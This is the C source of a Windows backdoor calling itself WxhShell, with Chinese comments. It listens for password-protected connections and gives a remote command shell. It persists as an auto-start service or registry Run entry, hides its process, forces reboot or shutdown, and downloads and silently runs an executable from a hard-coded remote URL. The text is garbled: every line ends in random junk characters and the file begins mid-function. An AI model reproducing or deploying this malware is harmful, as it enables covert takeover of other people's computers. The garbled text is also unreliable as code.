    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OB>Pk_eQK  
    if(Boot(SHUTDOWN)) gj0gs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NYm2fFPc  
    else { RxjC sjg  
    closesocket(wsh); +F]X  
    ExitThread(0); /P Qz$e-!Y  
    } (kK6=Mrf  
    break; ^8ZVB.Fv  
    } a=.A/;|0*  
  // 获取shell "z1\I\ ^  
  case 's': { GxuFO5wz  
    CmdShell(wsh); sFT-aLpL@V  
    closesocket(wsh); )F8G q,  
    ExitThread(0); r**u=q %p  
    break; 4S`2")V  
  } Fi14_{  
  // 退出 [x kbzJ  
  case 'x': { #9F=+[L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F%UyFUz  
    CloseIt(wsh); N~=p+Ow[H  
    break; ts<5%{M(  
    } CC;T[b&  
  // 离开 c0sU1:e0  
  case 'q': { C1:efa<wV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `$ql>k-6C  
    closesocket(wsh); ogtKj"a  
    WSACleanup(); ' jf$3  
    exit(1); "W?<BpV~@!  
    break; +ng8!k  
        } {r?O>KDQf(  
  } jSsbLa@  
  } :,h47'0A  
PmZ-H>  
  // 提示信息 y)0r%=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vUk <z*  
} 5A g 4o  
  } [y7BHikX)  
!_3R dS  
  return; dq+VW}[EO  
} Z@nWx]iz  
ODyK/Q3  
// shell模块句柄 k1e0kxn  
int CmdShell(SOCKET sock) N,0l5fD~T  
{ kAsYh4[  
STARTUPINFO si; f"\G"2C  
ZeroMemory(&si,sizeof(si)); (j@3=-%6G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 XxU1w8\V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s"7wG!yf  
PROCESS_INFORMATION ProcessInfo; w] i&N1i  
char cmdline[]="cmd"; ] lE6:^V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0>} FNRC  
  return 0; h:\WW;s[B  
} dO =fbmK  
u[5*RTE  
// 自身启动模式 J!b v17H"  
int StartFromService(void) Q*u4q-DE  
{ )kfj+/  
typedef struct Km7HB!=<  
{ 1:h{( %`&  
  DWORD ExitStatus; kq&xH;9=.  
  DWORD PebBaseAddress; 2I(b ad  
  DWORD AffinityMask; |75>8;  
  DWORD BasePriority; F)Oe;z6  
  ULONG UniqueProcessId; KSe `G;{  
  ULONG InheritedFromUniqueProcessId; P1tc*2Z  
}   PROCESS_BASIC_INFORMATION; D/[(}o(  
$ lz\t e  
PROCNTQSIP NtQueryInformationProcess; *8{PoD   
ByqB4Hv2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wqEO+7)S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f_2tMiy 5  
P(D0ru  
  HANDLE             hProcess; *{5p/}p  
  PROCESS_BASIC_INFORMATION pbi; JR>#PJ,N-  
\X1?,gV_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q}zAC2@L  
  if(NULL == hInst ) return 0; /UtCJMQ  
Sqw:U|h\FS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Hl0besm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I-<U u 2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `/$yCXy  
:$4 atm  
  if (!NtQueryInformationProcess) return 0; rG)K?B~  
/R\]tl#2j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QT)D|]bH  
  if(!hProcess) return 0; wq+%O,  
gx,BF#8}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mhU ?N  
U\dq Mp#Wy  
  CloseHandle(hProcess); 30cZz  
=pSuyM'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <\40?*2  
if(hProcess==NULL) return 0; O1!hSu&  
[\+"<;m$  
HMODULE hMod; GIG\bQSv2  
char procName[255]; z !2-U  
unsigned long cbNeeded; Y7{|iw(#  
.H;[s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vm\ly;v'R  
QCjC|T9  
  CloseHandle(hProcess); 5~)m6]-6  
H809gm3(Z  
if(strstr(procName,"services")) return 1; // 以服务启动 %N``EnF2  
6xI9 %YDy  
  return 0; // 注册表启动 ;>%@  
} P| c[EUT  
$d\]s]}`  
// 主模块 ^I2+$  
int StartWxhshell(LPSTR lpCmdLine) mY!os91KoO  
{ #2AKO/  
  SOCKET wsl; XL SYE   
BOOL val=TRUE; W:s`;8iM$  
  int port=0; ++{,1wY\  
  struct sockaddr_in door; g>].m8DZ'  
/*Xr^X6  
  if(wscfg.ws_autoins) Install(); ?VUW.-  
2L?jp:$;X  
port=atoi(lpCmdLine); }_,1i3Rip  
W%$sA}O  
if(port<=0) port=wscfg.ws_port; pHO,][VZ  
fH{ _X  
  WSADATA data; 5ZpU><y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;.dyuKlI  
woI.1e5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [3KP@'52k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )P>-~G2P  
  door.sin_family = AF_INET; Rb!V{jQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pCOtk'n  
  door.sin_port = htons(port); {k:W?`  
W_JFe(=3,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rt +a/:4+  
closesocket(wsl); z#DgoA  
return 1; =]Gw9sge@  
} 9:[L WT&  
6d%V=1^F  
  if(listen(wsl,2) == INVALID_SOCKET) { Eu;f~ V  
closesocket(wsl); _d<xxF^q  
return 1; O4Z_v%2M  
} FR5P;Yz%H  
  Wxhshell(wsl); acG4u+[ ]  
  WSACleanup(); V@%:y tDf  
s1"dd7&g'  
return 0; `?M?WaP  
p1}m_  
} ]|6)'L&]*s  
b"JJ3$D  
// 以NT服务方式启动 uu5L9.i9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :9c[J$R4  
{ hW~XE{<  
DWORD   status = 0; 0 rge]w.X  
  DWORD   specificError = 0xfffffff; Qg^Ga0Lf6  
@cc4]>4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G&7!3u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]x12_+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0<^!<i(%  
  serviceStatus.dwWin32ExitCode     = 0; LN!e_b  
  serviceStatus.dwServiceSpecificExitCode = 0; n\/ JNzd3  
  serviceStatus.dwCheckPoint       = 0; o$4xinK  
  serviceStatus.dwWaitHint       = 0; )P|&o%E  
tV'>9YVdG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  F0i`HO{  
  if (hServiceStatusHandle==0) return; 1ha 8)L  
+Y|1 7 n  
status = GetLastError(); ~d.Z. AD  
  if (status!=NO_ERROR) qL;T^ljP  
{ ?q lpi(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B)!ty"  
    serviceStatus.dwCheckPoint       = 0; qG&}lg?g{  
    serviceStatus.dwWaitHint       = 0; /RF=8,A  
    serviceStatus.dwWin32ExitCode     = status; m N&G  
    serviceStatus.dwServiceSpecificExitCode = specificError; /O*4/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#z8CFq[O  
    return; z yh #ygH  
  } -G|?Kl  
,SVl>~!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q$ZmR]p  
  serviceStatus.dwCheckPoint       = 0; &N+i3l6`  
  serviceStatus.dwWaitHint       = 0; eI#b%h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); He1hgJ)N  
} VMZUJ2Yj/&  
jeu|9{iTVu  
// 处理NT服务事件,比如:启动、停止 8c%Sd'+Pt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X"sc'#G T  
{ B)v|A  
switch(fdwControl) @,\J\ rb  
{ ?D?l dg  
case SERVICE_CONTROL_STOP: (H[ .\O-`  
  serviceStatus.dwWin32ExitCode = 0; O_S%PX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !:^?GN#~x  
  serviceStatus.dwCheckPoint   = 0; lL<LJ :L  
  serviceStatus.dwWaitHint     = 0; kM JA#{<  
  { GxynLXWo>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V1]QuQ{&s  
  } Dr oa1_FX  
  return; `|2p1Ei  
case SERVICE_CONTROL_PAUSE: [ 11D7L%1t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Na .6P  
  break; @ =XJ<  
case SERVICE_CONTROL_CONTINUE: 6o cTQ}=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Xm?tC<   
  break; K'@lXA:  
case SERVICE_CONTROL_INTERROGATE: ~c\iBk  
  break; 3!*qB-d  
}; L8{4>,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Xcf *$.;s  
} FPC^-mD  
4))5l9kc.  
// 标准应用程序主函数 *U}cj A:ZN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QNcbl8@  
{ `z!6zo2d  
!8@8  
// 获取操作系统版本 g)**)mz[  
OsIsNt=GetOsVer(); ={k_ (8]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]*&`J4i  
G)8H9EV  
  // 从命令行安装 ;4s7\9o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ny'wS  
VEG p!~D  
  // 下载执行文件 7 ~9Lj  
if(wscfg.ws_downexe) { pl.x_E,HP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PFSh_9. q  
  WinExec(wscfg.ws_filenam,SW_HIDE); K2@],E?e%|  
} 8iwH^+h~  
n5z";:p  
if(!OsIsNt) { b.#0{*/G  
// 如果时win9x,隐藏进程并且设置为注册表启动 "">{8  
HideProc(); >V$ S\"  
StartWxhshell(lpCmdLine); /V"6Q'D  
} $a.,; :  
else % s),4  
  if(StartFromService()) Id<O/C  
  // 以服务方式启动 k"pN  
  StartServiceCtrlDispatcher(DispatchTable); 3jzmiS]  
else C lWxL#L6~  
  // 普通方式启动 gnWEsA\!  
  StartWxhshell(lpCmdLine); g><i tA?  
xhw0YDGzf  
return 0; 3cSP1=$*  
} *Me&> "N"  
Lyy:G9OV  
Nq >"vEq)  
+zINnX  
=========================================== 3T)_(SM"  
h}n?4B~Gi  
["~T)d'  
8}.V[,]6  
(/ e[n.T  
Lz:Q6  
" + :;6kyM6X  
kVY 0 E  
#include <stdio.h> *Kmo1>^  
#include <string.h> tpj6AMO/`d  
#include <windows.h> ;4Wz0suf  
#include <winsock2.h> ~(P\'H&(h  
#include <winsvc.h> \]Y=*+{  
#include <urlmon.h> Qk?J4 B  
n>L24rL  
#pragma comment (lib, "Ws2_32.lib") 3ahbv%y  
#pragma comment (lib, "urlmon.lib") i0g/'ZP  
I2^@>/p8\(  
#define MAX_USER   100 // 最大客户端连接数 'X P  
#define BUF_SOCK   200 // sock buffer S '(K  
#define KEY_BUFF   255 // 输入 buffer 8o\KF(I  
<o"2z~gv  
#define REBOOT     0   // 重启 YGsg0I't  
#define SHUTDOWN   1   // 关机 ^EZ?wdL  
mXJ`t5v^l  
#define DEF_PORT   5000 // 监听端口 _`d=0l*8  
D`hg+64}  
#define REG_LEN     16   // 注册表键长度 =`/GB T$  
#define SVC_LEN     80   // NT服务名长度 ^CfWLL& c  
#'fQx`LV  
// 从dll定义API a?]~Sw"@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V[^ +lR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !JnxNIr&i|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ewOe A|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \o<&s{ 6L  
?O.'_YS  
// wxhshell配置信息 8umW>  
struct WSCFG { Gr|IM,5P4  
  int ws_port;         // 监听端口 30<3DA_P  
  char ws_passstr[REG_LEN]; // 口令 Q4B(NYEu(  
  int ws_autoins;       // 安装标记, 1=yes 0=no H|I.h{:  
  char ws_regname[REG_LEN]; // 注册表键名 n<3{QqF  
  char ws_svcname[REG_LEN]; // 服务名 DP08$Iq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jm&PGZ#n=R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J5L[)Gd)D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aBT8mK -.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0RGqpJxk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CQh6;[\:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |TRl >1rv  
ur JR[$p  
}; VX,@Gp_'m  
CJf4b:SY@  
// default Wxhshell configuration jVInTR0f[  
struct WSCFG wscfg={DEF_PORT, ofy)}/i  
    "xuhuanlingzhe", wY{!gQ  
    1, w|( ix;pK  
    "Wxhshell", .,&6 x.  
    "Wxhshell", IiZXIG4H  
            "WxhShell Service", *zl-R*bM$  
    "Wrsky Windows CmdShell Service", >fx/TSql:J  
    "Please Input Your Password: ", G`R_kg9$  
  1, l *]nvd_  
  "http://www.wrsky.com/wxhshell.exe", 3}x6IM 2  
  "Wxhshell.exe" RWdx) qj{  
    }; ^Kj xQO6y3  
>gZ"^iW  
// 消息定义模块 qLk7C0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F ,h}HlU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2U rE>_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XT{o ]S~nq  
char *msg_ws_ext="\n\rExit."; 41 #YtZ  
char *msg_ws_end="\n\rQuit."; ?a{>QyL  
char *msg_ws_boot="\n\rReboot..."; 4\iy{1{E,C  
char *msg_ws_poff="\n\rShutdown..."; a @i?E0Fr  
char *msg_ws_down="\n\rSave to "; O_^ uLp  
^)S<Ha  
char *msg_ws_err="\n\rErr!"; @i=_y+|d_  
char *msg_ws_ok="\n\rOK!"; Je#vu`.\\  
Ie'iAY  
char ExeFile[MAX_PATH]; jFG Y`9Zw0  
int nUser = 0; ^y2}C$1V  
HANDLE handles[MAX_USER]; _GsHT\  
int OsIsNt; *$9Rb2}kK  
KDu~,P]  
SERVICE_STATUS       serviceStatus; *# ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F:'>zB]-}  
^#&PTq>  
// 函数声明 j38>5DM6L  
int Install(void); 7da~+(yhr  
int Uninstall(void); -MuKeCgi  
int DownloadFile(char *sURL, SOCKET wsh); Azag*M?  
int Boot(int flag); G[s/M\l  
void HideProc(void); n*y@3.  
int GetOsVer(void); -|( q 9B  
int Wxhshell(SOCKET wsl); ggHz-oNY  
void TalkWithClient(void *cs); z]n&,q,5g  
int CmdShell(SOCKET sock); 9B2`FJ  
int StartFromService(void); .y2np  
int StartWxhshell(LPSTR lpCmdLine); 4]m?8j) 6b  
r)Fd3)e   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A1/[3Bz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g7O , <  
.7r$jmuFs  
// 数据结构和表定义 z.0!FUd  
SERVICE_TABLE_ENTRY DispatchTable[] = ydf;g5OZ  
{ cBDOA<]r,  
{wscfg.ws_svcname, NTServiceMain}, != u S  
{NULL, NULL} Z8q*XpUH  
}; TM0DR'.  
l4Qv$  
// 自我安装 T74."Lo#  
int Install(void) ({9P, D~2  
{ Yy4l -}"  
  char svExeFile[MAX_PATH]; 0w ;#4X:m  
  HKEY key; w02t9vz  
  strcpy(svExeFile,ExeFile); _0!<iN L  
[J+]1hCZ|  
// 如果是win9x系统,修改注册表设为自启动 "Tc[1{eI  
if(!OsIsNt) { M =6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E9#.!re|^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MVZ9x%  
  RegCloseKey(key); z:p9&mi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U?(+ {4l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rv@( [rn+  
  RegCloseKey(key); A =l1_8,`h  
  return 0; ~[`*)(4E  
    } `fUP q ;  
  } N3o kN8d  
} {14sI*b16  
else { CV7%ud]E  
[Ontip  
// 如果是NT以上系统,安装为系统服务 u\P)x~-TM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y];@ M<<?e  
if (schSCManager!=0) @j+X>TD  
{ 'Z`fZ5q  
  SC_HANDLE schService = CreateService _VI3b$  
  ( ~=9]M.$  
  schSCManager, CQ^I;[=d  
  wscfg.ws_svcname, fhbILg  
  wscfg.ws_svcdisp, ;ksxz  
  SERVICE_ALL_ACCESS, 8I%N^G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xr$hQbl5D  
  SERVICE_AUTO_START, d{~Qd|<rr  
  SERVICE_ERROR_NORMAL, g%2twq_  
  svExeFile,  :IX_}|  
  NULL,  cvO;xR  
  NULL, <G#z;]N  
  NULL, V|G[j\]E<  
  NULL, 6uubkt  
  NULL gfm aO ]  
  ); b@yFqgJ_  
  if (schService!=0) 4!0nM|~  
  { q.69<Rs  
  CloseServiceHandle(schService); ?&se]\  
  CloseServiceHandle(schSCManager); kq=tL@W`0}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Eumdv#Qg  
  strcat(svExeFile,wscfg.ws_svcname); 5H |<h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  9Li.B1j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _~_6qTv-d  
  RegCloseKey(key); WDQw)EUl&  
  return 0; iBPx97a  
    } l$eKV(CZ4  
  } 77o&$l,A|  
  CloseServiceHandle(schSCManager); ?8aPd"x  
} jG~UyzWH;  
} V'XvwO@  
J&jig?t  
return 1; z{dn   
} 9S$?2z".2  
R; Gf3K  
// 自我卸载 3-$w5O3}  
int Uninstall(void) HP*AN@>Kw  
{ |,OTGZgc  
  HKEY key; Ehf3L |9   
6v9A7g;4.  
if(!OsIsNt) { /dt'iai~l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8I|2yvhP  
  RegDeleteValue(key,wscfg.ws_regname); |q*s)8  
  RegCloseKey(key); )uIH onXU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }t9A#GOz  
  RegDeleteValue(key,wscfg.ws_regname); `-[+(+["  
  RegCloseKey(key); &yQM 8J~  
  return 0; I0]"o#Lj T  
  } x:WxEw>R  
} >5}jM5$  
} Dt8wd,B  
else { C*fSPdg?  
b6~MRfx`7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qvhol  
if (schSCManager!=0) RXU#.=xvy  
{ )./.rtP|4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BdZO$ALXL  
  if (schService!=0) PM!7ci  
  { 'hw_ew   
  if(DeleteService(schService)!=0) { l#G }j^Q  
  CloseServiceHandle(schService); #3o]Qo[Sc  
  CloseServiceHandle(schSCManager); 13:0%IO  
  return 0; 1F_ 1bAh$  
  } zPT!Fa`  
  CloseServiceHandle(schService); 9XPQ1LSx  
  } !%_H1jk  
  CloseServiceHandle(schSCManager); U?:<clh  
} IRW%*W#  
} J((.zLvz  
8{Id+Q>Vo,  
return 1; Sk 10"DB/  
} Z/@%MEU[zl  
(" +/ :  
// 从指定url下载文件 Ood'kAH1B  
int DownloadFile(char *sURL, SOCKET wsh) ]kd )j  
{ wc5OK0|  
  HRESULT hr; VT&R1)c  
char seps[]= "/"; h f1f  
char *token; n\Y|0\ B  
char *file; %7oB[2  
char myURL[MAX_PATH]; $@blP<I  
char myFILE[MAX_PATH]; y~N,=5>j  
K?o}B  
strcpy(myURL,sURL); 4x JOPu  
  token=strtok(myURL,seps); 4SqZ V  
  while(token!=NULL) e!(0y)*  
  { +T@a/(Gl  
    file=token; `kP (2b  
  token=strtok(NULL,seps); =7c1l77z  
  } ceu}Lp^%/  
\4.U.pKY  
GetCurrentDirectory(MAX_PATH,myFILE); ToHCS/J59  
strcat(myFILE, "\\"); wGC)gW  
strcat(myFILE, file); kGZ_/"iuO  
  send(wsh,myFILE,strlen(myFILE),0); "jUr[X2J  
send(wsh,"...",3,0); K$..#]\TM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B R-(@  
  if(hr==S_OK) )2 P4EEs[  
return 0; 6QOdd 6_d  
else y'<juaw  
return 1; zaVDe9B,7  
|ei?s1)  
} aQEMCWxZ  
J0U9zI4  
// 系统电源模块 +{j? +4(B  
int Boot(int flag) [[PUK{P0  
{ Eqg(U0k0  
  HANDLE hToken; @:~O  
  TOKEN_PRIVILEGES tkp; f*g>~!  
kxg]sr"  
  if(OsIsNt) { '`Smg3T!~S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {t$ vsR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Odr@9MJ  
    tkp.PrivilegeCount = 1; k]Y#-Q1p~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `1NxS35u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :I5]|pt  
if(flag==REBOOT) {  OT9\K_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {q1&4U~'>O  
  return 0; S4]xxc  
} gq6C6   
else { [Pdm1]":(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r'p;Nj.  
  return 0; ,0#5kc*X  
} 26E"Ui5q  
  } +_?;%PKkuF  
  else { FV/X&u8~  
if(flag==REBOOT) { N2VF_[l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +OF(CcA^  
  return 0; zJ#e3o .  
} 7"r7F#D=G  
else { EO,;^RtB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A`7uw|uO$  
  return 0; 'r%`(Z{~  
} daaEN(  
} SPIYB/C  
<=V2~ asB  
return 1; :XMw="u=  
} <v"C`cga  
Wx&AY"J  
// win9x进程隐藏模块 p1HU2APFP  
void HideProc(void) j$#pG  
{ DsqsMlB{  
` BH8v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -uiZp !  
  if ( hKernel != NULL ) /'=C<HSO  
  { GG\]}UjX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SMQuJ_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jz|zq\Eek  
    FreeLibrary(hKernel); aT F}  
  } O!z H5  
vhEPk2wD,  
return; +|Q8P?YD_  
} ~fs{Ff'  
pN&Dpz^  
// 获取操作系统版本 ,:-S<]fS{_  
int GetOsVer(void) r]km1SrS  
{ !a3cEzs3  
  OSVERSIONINFO winfo; W k'()N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4D[W;4/p  
  GetVersionEx(&winfo); F5.Vhg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !O)Ruwy  
  return 1; Iq_cs '  
  else Og%qv Bj 6  
  return 0; lcvWx%/o@  
} Gw3|"14  
uKh),@JV  
// 客户端句柄模块 hkv&Od,  
int Wxhshell(SOCKET wsl) F%6al,8P  
{ ~tDV{ml  
  SOCKET wsh; Fg Qd7p  
  struct sockaddr_in client; $t-HJ<!  
  DWORD myID; cy?u *  
(C,PGjd  
  while(nUser<MAX_USER) h5x FP  
{ O~-#>a  
  int nSize=sizeof(client); I9ubVcV8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KCDEMs}}zM  
  if(wsh==INVALID_SOCKET) return 1; qJVW :$1q  
6I72;e ^!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A%oHx|PD  
if(handles[nUser]==0) a7nbGqsx  
  closesocket(wsh); (<(8(} x  
else 2>.B*P  
  nUser++; ,#UaWq@7  
  } ed2QGTgR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S!2M?}LU  
me$ 7\B;wy  
  return 0; ,K6s'3O(LW  
} 4iRcmsP  
%IW=[D6Tg  
// 关闭 socket Bh"o{-$p8`  
void CloseIt(SOCKET wsh) 5)2lZ(5.A#  
{ :u`  
closesocket(wsh); 9EK5#_L[=  
nUser--; H{E223  
ExitThread(0); (m\PcF  
} 7P?z{x':T  
7<mY{!2iF?  
// 客户端请求句柄 ~0!s5  
void TalkWithClient(void *cs) ^|Of  
{ X.}:gU-  
M8ZpNa  
  SOCKET wsh=(SOCKET)cs; a"0Xam  
  char pwd[SVC_LEN]; vkOCyi?c  
  char cmd[KEY_BUFF]; 35?et-=w  
char chr[1]; b/Z=FS2T  
int i,j; =m:xf&r#  
T'  %TMA  
  while (nUser < MAX_USER) { |#LU"D  
GP<A v1  
if(wscfg.ws_passstr) { 9sFZs]uM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G}&B{Ir  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e]'ui<`  
  //ZeroMemory(pwd,KEY_BUFF); 6x^#|;e>lI  
      i=0; (2[tQ`~  
  while(i<SVC_LEN) { 1CU-^ j  
r;g[<6`!S  
  // 设置超时 "6w-jT  
  fd_set FdRead; Vi?[yu<F  
  struct timeval TimeOut; >_jT.d  
  FD_ZERO(&FdRead); JZNRMxu  
  FD_SET(wsh,&FdRead); 7$b!-I+ a2  
  TimeOut.tv_sec=8; $5jQm,V$K  
  TimeOut.tv_usec=0; >Olg lUzA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Id4P _y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y$Sn3_9 V  
) kfA5xi[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WId"2W3M  
  pwd=chr[0]; NBwxN  
  if(chr[0]==0xd || chr[0]==0xa) { }KEyJj3"DA  
  pwd=0; b lP@Cn2  
  break; |,c QJ  
  } Fo=Icvo  
  i++; g'ha7~w(p  
    } &q^\*<B.^  
@#hd8_)A.  
  // 如果是非法用户,关闭 socket 7IB<0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [fiB!G ]?  
} !1$Q Nxgi  
/bv1R5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vxhs1vh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7xTgG!>v  
\  $;E,  
while(1) { brx 7hI  
zc01\M  
  ZeroMemory(cmd,KEY_BUFF); <u]M):b3  
dl mF?N|EC  
      // 自动支持客户端 telnet标准   %4|*  
  j=0; gHpA@jdC*  
  while(j<KEY_BUFF) { 0}C> e`<'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [nZf4KN  
  cmd[j]=chr[0];  S<#>g s4  
  if(chr[0]==0xa || chr[0]==0xd) { {4J:t_<nKO  
  cmd[j]=0; Anr''J&9`H  
  break; 1O]'iS"  
  } epuN~T  
  j++; j*+[=X/  
    } {AUhF}O  
mSF>~D1_  
  // 下载文件 VW:WB.K$  
  if(strstr(cmd,"http://")) { Q>Voa&tYn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .<%2ON_  
  if(DownloadFile(cmd,wsh)) ^aYlu0Wm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \  {` `r  
  else G_vWwH4XtL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y"6 '  
  } oS6dcJHf  
